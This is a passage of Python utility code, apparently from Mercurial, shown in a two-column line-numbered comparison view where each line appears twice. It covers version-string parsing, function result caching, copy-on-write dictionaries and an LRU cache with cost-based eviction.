1140 (3, 6)
1140 >>> versiontuple(v, 3)
1141 >>> versiontuple(v, 3)
1141 (3, 6, None)
1142 (3, 6, None)
1142 >>> versiontuple(v, 4)
1143 >>> versiontuple(v, 4)
1143 (3, 6, None, None)
1144 (3, 6, None, None)
1144
1145
1145 >>> v = b'3.9-rc'
1146 >>> v = b'3.9-rc'
1146 >>> versiontuple(v, 2)
1147 >>> versiontuple(v, 2)
1147 (3, 9)
1148 (3, 9)
1148 >>> versiontuple(v, 3)
1149 >>> versiontuple(v, 3)
1149 (3, 9, None)
1150 (3, 9, None)
1150 >>> versiontuple(v, 4)
1151 >>> versiontuple(v, 4)
1151 (3, 9, None, 'rc')
1152 (3, 9, None, 'rc')
1152
1153
1153 >>> v = b'3.9-rc+2-02a8fea4289b'
1154 >>> v = b'3.9-rc+2-02a8fea4289b'
1154 >>> versiontuple(v, 2)
1155 >>> versiontuple(v, 2)
1155 (3, 9)
1156 (3, 9)
1156 >>> versiontuple(v, 3)
1157 >>> versiontuple(v, 3)
1157 (3, 9, None)
1158 (3, 9, None)
1158 >>> versiontuple(v, 4)
1159 >>> versiontuple(v, 4)
1159 (3, 9, None, 'rc+2-02a8fea4289b')
1160 (3, 9, None, 'rc+2-02a8fea4289b')
1160
1161
1161 >>> versiontuple(b'4.6rc0')
1162 >>> versiontuple(b'4.6rc0')
1162 (4, 6, None, 'rc0')
1163 (4, 6, None, 'rc0')
1163 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1164 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1164 (4, 6, None, 'rc0+12-425d55e54f98')
1165 (4, 6, None, 'rc0+12-425d55e54f98')
1165 >>> versiontuple(b'.1.2.3')
1166 >>> versiontuple(b'.1.2.3')
1166 (None, None, None, '.1.2.3')
1167 (None, None, None, '.1.2.3')
1167 >>> versiontuple(b'12.34..5')
1168 >>> versiontuple(b'12.34..5')
1168 (12, 34, None, '..5')
1169 (12, 34, None, '..5')
1169 >>> versiontuple(b'1.2.3.4.5.6')
1170 >>> versiontuple(b'1.2.3.4.5.6')
1170 (1, 2, 3, '.4.5.6')
1171 (1, 2, 3, '.4.5.6')
1171 """
1172 """
1172 if not v:
1173 if not v:
1173 v = version()
1174 v = version()
1174 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1175 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1175 if not m:
1176 if not m:
1176 vparts, extra = b'', v
1177 vparts, extra = b'', v
1177 elif m.group(2):
1178 elif m.group(2):
1178 vparts, extra = m.groups()
1179 vparts, extra = m.groups()
1179 else:
1180 else:
1180 vparts, extra = m.group(1), None
1181 vparts, extra = m.group(1), None
1181
1182
1182 assert vparts is not None # help pytype
1183 assert vparts is not None # help pytype
1183
1184
1184 vints = []
1185 vints = []
1185 for i in vparts.split(b'.'):
1186 for i in vparts.split(b'.'):
1186 try:
1187 try:
1187 vints.append(int(i))
1188 vints.append(int(i))
1188 except ValueError:
1189 except ValueError:
1189 break
1190 break
1190 # (3, 6) -> (3, 6, None)
1191 # (3, 6) -> (3, 6, None)
1191 while len(vints) < 3:
1192 while len(vints) < 3:
1192 vints.append(None)
1193 vints.append(None)
1193
1194
1194 if n == 2:
1195 if n == 2:
1195 return (vints[0], vints[1])
1196 return (vints[0], vints[1])
1196 if n == 3:
1197 if n == 3:
1197 return (vints[0], vints[1], vints[2])
1198 return (vints[0], vints[1], vints[2])
1198 if n == 4:
1199 if n == 4:
1199 return (vints[0], vints[1], vints[2], extra)
1200 return (vints[0], vints[1], vints[2], extra)
1200
1201
1201
1202
1202 def cachefunc(func):
1203 def cachefunc(func):
1203 '''cache the result of function calls'''
1204 '''cache the result of function calls'''
1204 # XXX doesn't handle keywords args
1205 # XXX doesn't handle keywords args
1205 if func.__code__.co_argcount == 0:
1206 if func.__code__.co_argcount == 0:
1206 listcache = []
1207 listcache = []
1207
1208
1208 def f():
1209 def f():
1209 if len(listcache) == 0:
1210 if len(listcache) == 0:
1210 listcache.append(func())
1211 listcache.append(func())
1211 return listcache[0]
1212 return listcache[0]
1212
1213
1213 return f
1214 return f
1214 cache = {}
1215 cache = {}
1215 if func.__code__.co_argcount == 1:
1216 if func.__code__.co_argcount == 1:
1216 # we gain a small amount of time because
1217 # we gain a small amount of time because
1217 # we don't need to pack/unpack the list
1218 # we don't need to pack/unpack the list
1218 def f(arg):
1219 def f(arg):
1219 if arg not in cache:
1220 if arg not in cache:
1220 cache[arg] = func(arg)
1221 cache[arg] = func(arg)
1221 return cache[arg]
1222 return cache[arg]
1222
1223
1223 else:
1224 else:
1224
1225
1225 def f(*args):
1226 def f(*args):
1226 if args not in cache:
1227 if args not in cache:
1227 cache[args] = func(*args)
1228 cache[args] = func(*args)
1228 return cache[args]
1229 return cache[args]
1229
1230
1230 return f
1231 return f
1231
1232
1232
1233
1233 class cow(object):
1234 class cow(object):
1234 """helper class to make copy-on-write easier
1235 """helper class to make copy-on-write easier
1235
1236
1236 Call preparewrite before doing any writes.
1237 Call preparewrite before doing any writes.
1237 """
1238 """
1238
1239
1239 def preparewrite(self):
1240 def preparewrite(self):
1240 """call this before writes, return self or a copied new object"""
1241 """call this before writes, return self or a copied new object"""
1241 if getattr(self, '_copied', 0):
1242 if getattr(self, '_copied', 0):
1242 self._copied -= 1
1243 self._copied -= 1
1243 return self.__class__(self)
1244 return self.__class__(self)
1244 return self
1245 return self
1245
1246
1246 def copy(self):
1247 def copy(self):
1247 """always do a cheap copy"""
1248 """always do a cheap copy"""
1248 self._copied = getattr(self, '_copied', 0) + 1
1249 self._copied = getattr(self, '_copied', 0) + 1
1249 return self
1250 return self
1250
1251
1251
1252
1252 class sortdict(collections.OrderedDict):
1253 class sortdict(collections.OrderedDict):
1253 '''a simple sorted dictionary
1254 '''a simple sorted dictionary
1254
1255
1255 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1256 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1256 >>> d2 = d1.copy()
1257 >>> d2 = d1.copy()
1257 >>> d2
1258 >>> d2
1258 sortdict([('a', 0), ('b', 1)])
1259 sortdict([('a', 0), ('b', 1)])
1259 >>> d2.update([(b'a', 2)])
1260 >>> d2.update([(b'a', 2)])
1260 >>> list(d2.keys()) # should still be in last-set order
1261 >>> list(d2.keys()) # should still be in last-set order
1261 ['b', 'a']
1262 ['b', 'a']
1262 >>> d1.insert(1, b'a.5', 0.5)
1263 >>> d1.insert(1, b'a.5', 0.5)
1263 >>> d1
1264 >>> d1
1264 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1265 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1265 '''
1266 '''
1266
1267
1267 def __setitem__(self, key, value):
1268 def __setitem__(self, key, value):
1268 if key in self:
1269 if key in self:
1269 del self[key]
1270 del self[key]
1270 super(sortdict, self).__setitem__(key, value)
1271 super(sortdict, self).__setitem__(key, value)
1271
1272
1272 if pycompat.ispypy:
1273 if pycompat.ispypy:
1273 # __setitem__() isn't called as of PyPy 5.8.0
1274 # __setitem__() isn't called as of PyPy 5.8.0
1274 def update(self, src):
1275 def update(self, src):
1275 if isinstance(src, dict):
1276 if isinstance(src, dict):
1276 src = pycompat.iteritems(src)
1277 src = pycompat.iteritems(src)
1277 for k, v in src:
1278 for k, v in src:
1278 self[k] = v
1279 self[k] = v
1279
1280
1280 def insert(self, position, key, value):
1281 def insert(self, position, key, value):
1281 for (i, (k, v)) in enumerate(list(self.items())):
1282 for (i, (k, v)) in enumerate(list(self.items())):
1282 if i == position:
1283 if i == position:
1283 self[key] = value
1284 self[key] = value
1284 if i >= position:
1285 if i >= position:
1285 del self[k]
1286 del self[k]
1286 self[k] = v
1287 self[k] = v
1287
1288
1288
1289
1289 class cowdict(cow, dict):
1290 class cowdict(cow, dict):
1290 """copy-on-write dict
1291 """copy-on-write dict
1291
1292
1292 Be sure to call d = d.preparewrite() before writing to d.
1293 Be sure to call d = d.preparewrite() before writing to d.
1293
1294
1294 >>> a = cowdict()
1295 >>> a = cowdict()
1295 >>> a is a.preparewrite()
1296 >>> a is a.preparewrite()
1296 True
1297 True
1297 >>> b = a.copy()
1298 >>> b = a.copy()
1298 >>> b is a
1299 >>> b is a
1299 True
1300 True
1300 >>> c = b.copy()
1301 >>> c = b.copy()
1301 >>> c is a
1302 >>> c is a
1302 True
1303 True
1303 >>> a = a.preparewrite()
1304 >>> a = a.preparewrite()
1304 >>> b is a
1305 >>> b is a
1305 False
1306 False
1306 >>> a is a.preparewrite()
1307 >>> a is a.preparewrite()
1307 True
1308 True
1308 >>> c = c.preparewrite()
1309 >>> c = c.preparewrite()
1309 >>> b is c
1310 >>> b is c
1310 False
1311 False
1311 >>> b is b.preparewrite()
1312 >>> b is b.preparewrite()
1312 True
1313 True
1313 """
1314 """
1314
1315
1315
1316
1316 class cowsortdict(cow, sortdict):
1317 class cowsortdict(cow, sortdict):
1317 """copy-on-write sortdict
1318 """copy-on-write sortdict
1318
1319
1319 Be sure to call d = d.preparewrite() before writing to d.
1320 Be sure to call d = d.preparewrite() before writing to d.
1320 """
1321 """
1321
1322
1322
1323
1323 class transactional(object): # pytype: disable=ignored-metaclass
1324 class transactional(object): # pytype: disable=ignored-metaclass
1324 """Base class for making a transactional type into a context manager."""
1325 """Base class for making a transactional type into a context manager."""
1325
1326
1326 __metaclass__ = abc.ABCMeta
1327 __metaclass__ = abc.ABCMeta
1327
1328
1328 @abc.abstractmethod
1329 @abc.abstractmethod
1329 def close(self):
1330 def close(self):
1330 """Successfully closes the transaction."""
1331 """Successfully closes the transaction."""
1331
1332
1332 @abc.abstractmethod
1333 @abc.abstractmethod
1333 def release(self):
1334 def release(self):
1334 """Marks the end of the transaction.
1335 """Marks the end of the transaction.
1335
1336
1336 If the transaction has not been closed, it will be aborted.
1337 If the transaction has not been closed, it will be aborted.
1337 """
1338 """
1338
1339
1339 def __enter__(self):
1340 def __enter__(self):
1340 return self
1341 return self
1341
1342
1342 def __exit__(self, exc_type, exc_val, exc_tb):
1343 def __exit__(self, exc_type, exc_val, exc_tb):
1343 try:
1344 try:
1344 if exc_type is None:
1345 if exc_type is None:
1345 self.close()
1346 self.close()
1346 finally:
1347 finally:
1347 self.release()
1348 self.release()
1348
1349
1349
1350
1350 @contextlib.contextmanager
1351 @contextlib.contextmanager
1351 def acceptintervention(tr=None):
1352 def acceptintervention(tr=None):
1352 """A context manager that closes the transaction on InterventionRequired
1353 """A context manager that closes the transaction on InterventionRequired
1353
1354
1354 If no transaction was provided, this simply runs the body and returns
1355 If no transaction was provided, this simply runs the body and returns
1355 """
1356 """
1356 if not tr:
1357 if not tr:
1357 yield
1358 yield
1358 return
1359 return
1359 try:
1360 try:
1360 yield
1361 yield
1361 tr.close()
1362 tr.close()
1362 except error.InterventionRequired:
1363 except error.InterventionRequired:
1363 tr.close()
1364 tr.close()
1364 raise
1365 raise
1365 finally:
1366 finally:
1366 tr.release()
1367 tr.release()
1367
1368
1368
1369
1369 @contextlib.contextmanager
1370 @contextlib.contextmanager
1370 def nullcontextmanager():
1371 def nullcontextmanager():
1371 yield
1372 yield
1372
1373
1373
1374
1374 class _lrucachenode(object):
1375 class _lrucachenode(object):
1375 """A node in a doubly linked list.
1376 """A node in a doubly linked list.
1376
1377
1377 Holds a reference to nodes on either side as well as a key-value
1378 Holds a reference to nodes on either side as well as a key-value
1378 pair for the dictionary entry.
1379 pair for the dictionary entry.
1379 """
1380 """
1380
1381
1381 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1382 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1382
1383
1383 def __init__(self):
1384 def __init__(self):
1384 self.next = None
1385 self.next = None
1385 self.prev = None
1386 self.prev = None
1386
1387
1387 self.key = _notset
1388 self.key = _notset
1388 self.value = None
1389 self.value = None
1389 self.cost = 0
1390 self.cost = 0
1390
1391
1391 def markempty(self):
1392 def markempty(self):
1392 """Mark the node as emptied."""
1393 """Mark the node as emptied."""
1393 self.key = _notset
1394 self.key = _notset
1394 self.value = None
1395 self.value = None
1395 self.cost = 0
1396 self.cost = 0
1396
1397
1397
1398
1398 class lrucachedict(object):
1399 class lrucachedict(object):
1399 """Dict that caches most recent accesses and sets.
1400 """Dict that caches most recent accesses and sets.
1400
1401
1401 The dict consists of an actual backing dict - indexed by original
1402 The dict consists of an actual backing dict - indexed by original
1402 key - and a doubly linked circular list defining the order of entries in
1403 key - and a doubly linked circular list defining the order of entries in
1403 the cache.
1404 the cache.
1404
1405
1405 The head node is the newest entry in the cache. If the cache is full,
1406 The head node is the newest entry in the cache. If the cache is full,
1406 we recycle head.prev and make it the new head. Cache accesses result in
1407 we recycle head.prev and make it the new head. Cache accesses result in
1407 the node being moved to before the existing head and being marked as the
1408 the node being moved to before the existing head and being marked as the
1408 new head node.
1409 new head node.
1409
1410
1410 Items in the cache can be inserted with an optional "cost" value. This is
1411 Items in the cache can be inserted with an optional "cost" value. This is
1411 simply an integer that is specified by the caller. The cache can be queried
1412 simply an integer that is specified by the caller. The cache can be queried
1412 for the total cost of all items presently in the cache.
1413 for the total cost of all items presently in the cache.
1413
1414
1414 The cache can also define a maximum cost. If a cache insertion would
1415 The cache can also define a maximum cost. If a cache insertion would
1415 cause the total cost of the cache to go beyond the maximum cost limit,
1416 cause the total cost of the cache to go beyond the maximum cost limit,
1416 nodes will be evicted to make room for the new code. This can be used
1417 nodes will be evicted to make room for the new code. This can be used
1417 to e.g. set a max memory limit and associate an estimated bytes size
1418 to e.g. set a max memory limit and associate an estimated bytes size
1418 cost to each item in the cache. By default, no maximum cost is enforced.
1419 cost to each item in the cache. By default, no maximum cost is enforced.
1419 """
1420 """
1420
1421
1421 def __init__(self, max, maxcost=0):
1422 def __init__(self, max, maxcost=0):
1422 self._cache = {}
1423 self._cache = {}
1423
1424
1424 self._head = head = _lrucachenode()
1425 self._head = head = _lrucachenode()
1425 head.prev = head
1426 head.prev = head
1426 head.next = head
1427 head.next = head
1427 self._size = 1
1428 self._size = 1
1428 self.capacity = max
1429 self.capacity = max
1429 self.totalcost = 0
1430 self.totalcost = 0
1430 self.maxcost = maxcost
1431 self.maxcost = maxcost
1431
1432
1432 def __len__(self):
1433 def __len__(self):
1433 return len(self._cache)
1434 return len(self._cache)
1434
1435
1435 def __contains__(self, k):
1436 def __contains__(self, k):
1436 return k in self._cache
1437 return k in self._cache
1437
1438
1438 def __iter__(self):
1439 def __iter__(self):
1439 # We don't have to iterate in cache order, but why not.
1440 # We don't have to iterate in cache order, but why not.
1440 n = self._head
1441 n = self._head
1441 for i in range(len(self._cache)):
1442 for i in range(len(self._cache)):
1442 yield n.key
1443 yield n.key
1443 n = n.next
1444 n = n.next
1444
1445
1445 def __getitem__(self, k):
1446 def __getitem__(self, k):
1446 node = self._cache[k]
1447 node = self._cache[k]
1447 self._movetohead(node)
1448 self._movetohead(node)
1448 return node.value
1449 return node.value
1449
1450
1450 def insert(self, k, v, cost=0):
1451 def insert(self, k, v, cost=0):
1451 """Insert a new item in the cache with optional cost value."""
1452 """Insert a new item in the cache with optional cost value."""
1452 node = self._cache.get(k)
1453 node = self._cache.get(k)
1453 # Replace existing value and mark as newest.
1454 # Replace existing value and mark as newest.
1454 if node is not None:
1455 if node is not None:
1455 self.totalcost -= node.cost
1456 self.totalcost -= node.cost
1456 node.value = v
1457 node.value = v
1457 node.cost = cost
1458 node.cost = cost
1458 self.totalcost += cost
1459 self.totalcost += cost
1459 self._movetohead(node)
1460 self._movetohead(node)
1460
1461
1461 if self.maxcost:
1462 if self.maxcost:
1462 self._enforcecostlimit()
1463 self._enforcecostlimit()
1463
1464
1464 return
1465 return
1465
1466
1466 if self._size < self.capacity:
1467 if self._size < self.capacity:
1467 node = self._addcapacity()
1468 node = self._addcapacity()
1468 else:
1469 else:
1469 # Grab the last/oldest item.
1470 # Grab the last/oldest item.
1470 node = self._head.prev
1471 node = self._head.prev
1471
1472
1472 # At capacity. Kill the old entry.
1473 # At capacity. Kill the old entry.
1473 if node.key is not _notset:
1474 if node.key is not _notset:
1474 self.totalcost -= node.cost
1475 self.totalcost -= node.cost
1475 del self._cache[node.key]
1476 del self._cache[node.key]
1476
1477
1477 node.key = k
1478 node.key = k
1478 node.value = v
1479 node.value = v
1479 node.cost = cost
1480 node.cost = cost
1480 self.totalcost += cost
1481 self.totalcost += cost
1481 self._cache[k] = node
1482 self._cache[k] = node
1482 # And mark it as newest entry. No need to adjust order since it
1483 # And mark it as newest entry. No need to adjust order since it
1483 # is already self._head.prev.
1484 # is already self._head.prev.
1484 self._head = node
1485 self._head = node
1485
1486
1486 if self.maxcost:
1487 if self.maxcost:
1487 self._enforcecostlimit()
1488 self._enforcecostlimit()
1488
1489
1489 def __setitem__(self, k, v):
1490 def __setitem__(self, k, v):
1490 self.insert(k, v)
1491 self.insert(k, v)
1491
1492
1492 def __delitem__(self, k):
1493 def __delitem__(self, k):
1493 self.pop(k)
1494 self.pop(k)
1494
1495
1495 def pop(self, k, default=_notset):
1496 def pop(self, k, default=_notset):
1496 try:
1497 try:
1497 node = self._cache.pop(k)
1498 node = self._cache.pop(k)
1498 except KeyError:
1499 except KeyError:
1499 if default is _notset:
1500 if default is _notset:
1500 raise
1501 raise
1501 return default
1502 return default
1502
1503
1503 assert node is not None # help pytype
1504 assert node is not None # help pytype
1504 value = node.value
1505 value = node.value
1505 self.totalcost -= node.cost
1506 self.totalcost -= node.cost
1506 node.markempty()
1507 node.markempty()
1507
1508
1508 # Temporarily mark as newest item before re-adjusting head to make
1509 # Temporarily mark as newest item before re-adjusting head to make
1509 # this node the oldest item.
1510 # this node the oldest item.
1510 self._movetohead(node)
1511 self._movetohead(node)
1511 self._head = node.next
1512 self._head = node.next
1512
1513
1513 return value
1514 return value
1514
1515
1515 # Additional dict methods.
1516 # Additional dict methods.
1516
1517
1517 def get(self, k, default=None):
1518 def get(self, k, default=None):
1518 try:
1519 try:
1519 return self.__getitem__(k)
1520 return self.__getitem__(k)
1520 except KeyError:
1521 except KeyError:
1521 return default
1522 return default
1522
1523
1523 def peek(self, k, default=_notset):
1524 def peek(self, k, default=_notset):
1524 """Get the specified item without moving it to the head
1525 """Get the specified item without moving it to the head
1525
1526
1526 Unlike get(), this doesn't mutate the internal state. But be aware
1527 Unlike get(), this doesn't mutate the internal state. But be aware
1527 that it doesn't mean peek() is thread safe.
1528 that it doesn't mean peek() is thread safe.
1528 """
1529 """
1529 try:
1530 try:
1530 node = self._cache[k]
1531 node = self._cache[k]
1531 return node.value
1532 return node.value
1532 except KeyError:
1533 except KeyError:
1533 if default is _notset:
1534 if default is _notset:
1534 raise
1535 raise
1535 return default
1536 return default
1536
1537
1537 def clear(self):
1538 def clear(self):
1538 n = self._head
1539 n = self._head
1539 while n.key is not _notset:
1540 while n.key is not _notset:
1540 self.totalcost -= n.cost
1541 self.totalcost -= n.cost
1541 n.markempty()
1542 n.markempty()
1542 n = n.next
1543 n = n.next
1543
1544
1544 self._cache.clear()
1545 self._cache.clear()
1545
1546
1546 def copy(self, capacity=None, maxcost=0):
1547 def copy(self, capacity=None, maxcost=0):
1547 """Create a new cache as a copy of the current one.
1548 """Create a new cache as a copy of the current one.
1548
1549
1549 By default, the new cache has the same capacity as the existing one.
1550 By default, the new cache has the same capacity as the existing one.
1550 But, the cache capacity can be changed as part of performing the
1551 But, the cache capacity can be changed as part of performing the
1551 copy.
1552 copy.
1552
1553
1553 Items in the copy have an insertion/access order matching this
1554 Items in the copy have an insertion/access order matching this
1554 instance.
1555 instance.
1555 """
1556 """
1556
1557
1557 capacity = capacity or self.capacity
1558 capacity = capacity or self.capacity
1558 maxcost = maxcost or self.maxcost
1559 maxcost = maxcost or self.maxcost
1559 result = lrucachedict(capacity, maxcost=maxcost)
1560 result = lrucachedict(capacity, maxcost=maxcost)
1560
1561
1561 # We copy entries by iterating in oldest-to-newest order so the copy
1562 # We copy entries by iterating in oldest-to-newest order so the copy
1562 # has the correct ordering.
1563 # has the correct ordering.
1563
1564
1564 # Find the first non-empty entry.
1565 # Find the first non-empty entry.
1565 n = self._head.prev
1566 n = self._head.prev
1566 while n.key is _notset and n is not self._head:
1567 while n.key is _notset and n is not self._head:
1567 n = n.prev
1568 n = n.prev
1568
1569
1569 # We could potentially skip the first N items when decreasing capacity.
1570 # We could potentially skip the first N items when decreasing capacity.
1570 # But let's keep it simple unless it is a performance problem.
1571 # But let's keep it simple unless it is a performance problem.
1571 for i in range(len(self._cache)):
1572 for i in range(len(self._cache)):
1572 result.insert(n.key, n.value, cost=n.cost)
1573 result.insert(n.key, n.value, cost=n.cost)
1573 n = n.prev
1574 n = n.prev
1574
1575
1575 return result
1576 return result
1576
1577
1577 def popoldest(self):
1578 def popoldest(self):
1578 """Remove the oldest item from the cache.
1579 """Remove the oldest item from the cache.
1579
1580
1580 Returns the (key, value) describing the removed cache entry.
1581 Returns the (key, value) describing the removed cache entry.
1581 """
1582 """
1582 if not self._cache:
1583 if not self._cache:
1583 return
1584 return
1584
1585
1585 # Walk the linked list backwards starting at tail node until we hit
1586 # Walk the linked list backwards starting at tail node until we hit
1586 # a non-empty node.
1587 # a non-empty node.
1587 n = self._head.prev
1588 n = self._head.prev
1588 while n.key is _notset:
1589 while n.key is _notset:
1589 n = n.prev
1590 n = n.prev
1590
1591
1591 assert n is not None # help pytype
1592 assert n is not None # help pytype
1592
1593
1593 key, value = n.key, n.value
1594 key, value = n.key, n.value
1594
1595
1595 # And remove it from the cache and mark it as empty.
1596 # And remove it from the cache and mark it as empty.
1596 del self._cache[n.key]
1597 del self._cache[n.key]
1597 self.totalcost -= n.cost
1598 self.totalcost -= n.cost
1598 n.markempty()
1599 n.markempty()
1599
1600
1600 return key, value
1601 return key, value
1601
1602
1602 def _movetohead(self, node):
1603 def _movetohead(self, node):
1603 """Mark a node as the newest, making it the new head.
1604 """Mark a node as the newest, making it the new head.
1604
1605
1605 When a node is accessed, it becomes the freshest entry in the LRU
1606 When a node is accessed, it becomes the freshest entry in the LRU
1606 list, which is denoted by self._head.
1607 list, which is denoted by self._head.
1607
1608
1608 Visually, let's make ``N`` the new head node (* denotes head):
1609 Visually, let's make ``N`` the new head node (* denotes head):
1609
1610
1610 previous/oldest <-> head <-> next/next newest
1611 previous/oldest <-> head <-> next/next newest
1611
1612
1612 ----<->--- A* ---<->-----
1613 ----<->--- A* ---<->-----
1613 | |
1614 | |
1614 E <-> D <-> N <-> C <-> B
1615 E <-> D <-> N <-> C <-> B
1615
1616
1616 To:
1617 To:
1617
1618
1618 ----<->--- N* ---<->-----
1619 ----<->--- N* ---<->-----
1619 | |
1620 | |
1620 E <-> D <-> C <-> B <-> A
1621 E <-> D <-> C <-> B <-> A
1621
1622
1622 This requires the following moves:
1623 This requires the following moves:
1623
1624
1624 C.next = D (node.prev.next = node.next)
1625 C.next = D (node.prev.next = node.next)
1625 D.prev = C (node.next.prev = node.prev)
1626 D.prev = C (node.next.prev = node.prev)
1626 E.next = N (head.prev.next = node)
1627 E.next = N (head.prev.next = node)
1627 N.prev = E (node.prev = head.prev)
1628 N.prev = E (node.prev = head.prev)
1628 N.next = A (node.next = head)
1629 N.next = A (node.next = head)
1629 A.prev = N (head.prev = node)
1630 A.prev = N (head.prev = node)
1630 """
1631 """
1631 head = self._head
1632 head = self._head
1632 # C.next = D
1633 # C.next = D
1633 node.prev.next = node.next
1634 node.prev.next = node.next
1634 # D.prev = C
1635 # D.prev = C
1635 node.next.prev = node.prev
1636 node.next.prev = node.prev
1636 # N.prev = E
1637 # N.prev = E
1637 node.prev = head.prev
1638 node.prev = head.prev
1638 # N.next = A
1639 # N.next = A
1639 # It is tempting to do just "head" here, however if node is
1640 # It is tempting to do just "head" here, however if node is
1640 # adjacent to head, this will do bad things.
1641 # adjacent to head, this will do bad things.
1641 node.next = head.prev.next
1642 node.next = head.prev.next
1642 # E.next = N
1643 # E.next = N
1643 node.next.prev = node
1644 node.next.prev = node
1644 # A.prev = N
1645 # A.prev = N
1645 node.prev.next = node
1646 node.prev.next = node
1646
1647
1647 self._head = node
1648 self._head = node
1648
1649
1649 def _addcapacity(self):
1650 def _addcapacity(self):
1650 """Add a node to the circular linked list.
1651 """Add a node to the circular linked list.
1651
1652
1652 The new node is inserted before the head node.
1653 The new node is inserted before the head node.
1653 """
1654 """
1654 head = self._head
1655 head = self._head
1655 node = _lrucachenode()
1656 node = _lrucachenode()
1656 head.prev.next = node
1657 head.prev.next = node
1657 node.prev = head.prev
1658 node.prev = head.prev
1658 node.next = head
1659 node.next = head
1659 head.prev = node
1660 head.prev = node
1660 self._size += 1
1661 self._size += 1
1661 return node
1662 return node
1662
1663
1663 def _enforcecostlimit(self):
1664 def _enforcecostlimit(self):
1664 # This should run after an insertion. It should only be called if total
1665 # This should run after an insertion. It should only be called if total
1665 # cost limits are being enforced.
1666 # cost limits are being enforced.
1666 # The most recently inserted node is never evicted.
1667 # The most recently inserted node is never evicted.
1667 if len(self) <= 1 or self.totalcost <= self.maxcost:
1668 if len(self) <= 1 or self.totalcost <= self.maxcost:
1668 return
1669 return
1669
1670
1670 # This is logically equivalent to calling popoldest() until we
1671 # This is logically equivalent to calling popoldest() until we
1671 # free up enough cost. We don't do that since popoldest() needs
1672 # free up enough cost. We don't do that since popoldest() needs
1672 # to walk the linked list and doing this in a loop would be
1673 # to walk the linked list and doing this in a loop would be
1673 # quadratic. So we find the first non-empty node and then
1674 # quadratic. So we find the first non-empty node and then
1674 # walk nodes until we free up enough capacity.
1675 # walk nodes until we free up enough capacity.
1675 #
1676 #
1676 # If we only removed the minimum number of nodes to free enough
1677 # If we only removed the minimum number of nodes to free enough
1677 # cost at insert time, chances are high that the next insert would
1678 # cost at insert time, chances are high that the next insert would
1678 # also require pruning. This would effectively constitute quadratic
1679 # also require pruning. This would effectively constitute quadratic
1679 # behavior for insert-heavy workloads. To mitigate this, we set a
1680 # behavior for insert-heavy workloads. To mitigate this, we set a
1680 # target cost that is a percentage of the max cost. This will tend
1681 # target cost that is a percentage of the max cost. This will tend
1681 # to free more nodes when the high water mark is reached, which
1682 # to free more nodes when the high water mark is reached, which
1682 # lowers the chances of needing to prune on the subsequent insert.
1683 # lowers the chances of needing to prune on the subsequent insert.
1683 targetcost = int(self.maxcost * 0.75)
1684 targetcost = int(self.maxcost * 0.75)
1684
1685
1685 n = self._head.prev
1686 n = self._head.prev
1686 while n.key is _notset:
1687 while n.key is _notset:
1687 n = n.prev
1688 n = n.prev
1688
1689
1689 while len(self) > 1 and self.totalcost > targetcost:
1690 while len(self) > 1 and self.totalcost > targetcost:
1690 del self._cache[n.key]
1691 del self._cache[n.key]
1691 self.totalcost -= n.cost
1692 self.totalcost -= n.cost
1692 n.markempty()
1693 n.markempty()
1693 n = n.prev
1694 n = n.prev
1694
1695
1695
1696
1696 def lrucachefunc(func):
1697 def lrucachefunc(func):
1697 '''cache most recent results of function calls'''
1698 '''cache most recent results of function calls'''
1698 cache = {}
1699 cache = {}
1699 order = collections.deque()
1700 order = collections.deque()
1700 if func.__code__.co_argcount == 1:
1701 if func.__code__.co_argcount == 1:
1701
1702
1702 def f(arg):
1703 def f(arg):
1703 if arg not in cache:
1704 if arg not in cache:
1704 if len(cache) > 20:
1705 if len(cache) > 20:
1705 del cache[order.popleft()]
1706 del cache[order.popleft()]
1706 cache[arg] = func(arg)
1707 cache[arg] = func(arg)
1707 else:
1708 else:
1708 order.remove(arg)
1709 order.remove(arg)
1709 order.append(arg)
1710 order.append(arg)
1710 return cache[arg]
1711 return cache[arg]
1711
1712
1712 else:
1713 else:
1713
1714
1714 def f(*args):
1715 def f(*args):
1715 if args not in cache:
1716 if args not in cache:
1716 if len(cache) > 20:
1717 if len(cache) > 20:
1717 del cache[order.popleft()]
1718 del cache[order.popleft()]
1718 cache[args] = func(*args)
1719 cache[args] = func(*args)
1719 else:
1720 else:
1720 order.remove(args)
1721 order.remove(args)
1721 order.append(args)
1722 order.append(args)
1722 return cache[args]
1723 return cache[args]
1723
1724
1724 return f
1725 return f
1725
1726
1726
1727
1727 class propertycache(object):
1728 class propertycache(object):
1728 def __init__(self, func):
1729 def __init__(self, func):
1729 self.func = func
1730 self.func = func
1730 self.name = func.__name__
1731 self.name = func.__name__
1731
1732
1732 def __get__(self, obj, type=None):
1733 def __get__(self, obj, type=None):
1733 result = self.func(obj)
1734 result = self.func(obj)
1734 self.cachevalue(obj, result)
1735 self.cachevalue(obj, result)
1735 return result
1736 return result
1736
1737
1737 def cachevalue(self, obj, value):
1738 def cachevalue(self, obj, value):
1738 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1739 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1739 obj.__dict__[self.name] = value
1740 obj.__dict__[self.name] = value
1740
1741
1741
1742
1742 def clearcachedproperty(obj, prop):
1743 def clearcachedproperty(obj, prop):
1743 '''clear a cached property value, if one has been set'''
1744 '''clear a cached property value, if one has been set'''
1744 prop = pycompat.sysstr(prop)
1745 prop = pycompat.sysstr(prop)
1745 if prop in obj.__dict__:
1746 if prop in obj.__dict__:
1746 del obj.__dict__[prop]
1747 del obj.__dict__[prop]
1747
1748
1748
1749
1749 def increasingchunks(source, min=1024, max=65536):
1750 def increasingchunks(source, min=1024, max=65536):
1750 '''return no less than min bytes per chunk while data remains,
1751 '''return no less than min bytes per chunk while data remains,
1751 doubling min after each chunk until it reaches max'''
1752 doubling min after each chunk until it reaches max'''
1752
1753
1753 def log2(x):
1754 def log2(x):
1754 if not x:
1755 if not x:
1755 return 0
1756 return 0
1756 i = 0
1757 i = 0
1757 while x:
1758 while x:
1758 x >>= 1
1759 x >>= 1
1759 i += 1
1760 i += 1
1760 return i - 1
1761 return i - 1
1761
1762
